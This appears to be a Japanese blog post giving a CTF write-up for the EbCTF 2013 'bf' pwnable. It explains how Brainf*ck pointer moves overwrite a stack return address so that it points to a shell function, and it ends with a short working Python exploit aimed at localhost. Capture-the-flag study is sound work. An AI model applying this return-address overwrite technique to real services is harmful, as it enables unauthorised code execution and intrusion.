EDCTF 2013 「bf」 を解いた
問題ファイル http://shell-storm.org/repo/CTF/EbCTF-2013-08/Pwnables/200/
5時間ぐらいかかってしまった・・・oh...
???「でも正解できればOKです!」
これまでは裏紙にスタックの絵を雑に書いていたが、罫線のあるノートに書くと見やすかった。次もそうしよう。
pwnable.twのcalcに似たものを感じる(似てるとは言ってない)。が、電卓ではなく独自言語でいろいろする感じ。
コードに出てくる演算子を整理している時に気づいた。Brainf*ckだ〜〜ファイル名の意味もわかった。
0x0 + 0x1 - 0x2 > 0x3 < 0x4 [ 0x5 ] 0x6 , 0x7 .
Brainf*ckでの値が入るバッファのアドレスをリークしてみたけど、コードは1回しか送れないので意味がなかった…
shell
というピッタリな関数があるので、そこにリターンさせればよい。
Brainf*ck用のバッファは$ebp-0xc8
から0x80
だけmemset
されている。その下にはアドレスやポインタの値が入ったローカル変数が並び、リターンアドレスがある。
>
のたびに4バイトポインタがずれるので、0xc8 / 4 + 1
だけ繰り返すとリターンアドレスのある場所までポインタを動かせる。
そして、shell
関数のある0x8048a6e
に中身を変更するので、もともとの値である0x8048a9d
の差分だけ-
で中の値を操作する。
Exploit
短い〜
import socket, time, os, struct, telnetlib def connect(ip, port): return socket.create_connection((ip, port)) def p(x): return struct.pack("<I", x) def u(x): return struct.unpack("<I", x)[0] def interact(s): t = telnetlib.Telnet() t.sock = s t.interact() s = connect('localhost', 62000) ### exploit ### retaddr_val = 0x8048a9d retaddr_val_target = 0x8048a6e # shell function delta = retaddr_val - retaddr_val_target payload = '>' * (0xc8 / 4 + 1) payload += '-' * delta payload += '\n' # leak buffer's address # payload = '>' * (0x20 + 1) # payload += '.' s.recv(1024) s.send(payload) interact(s)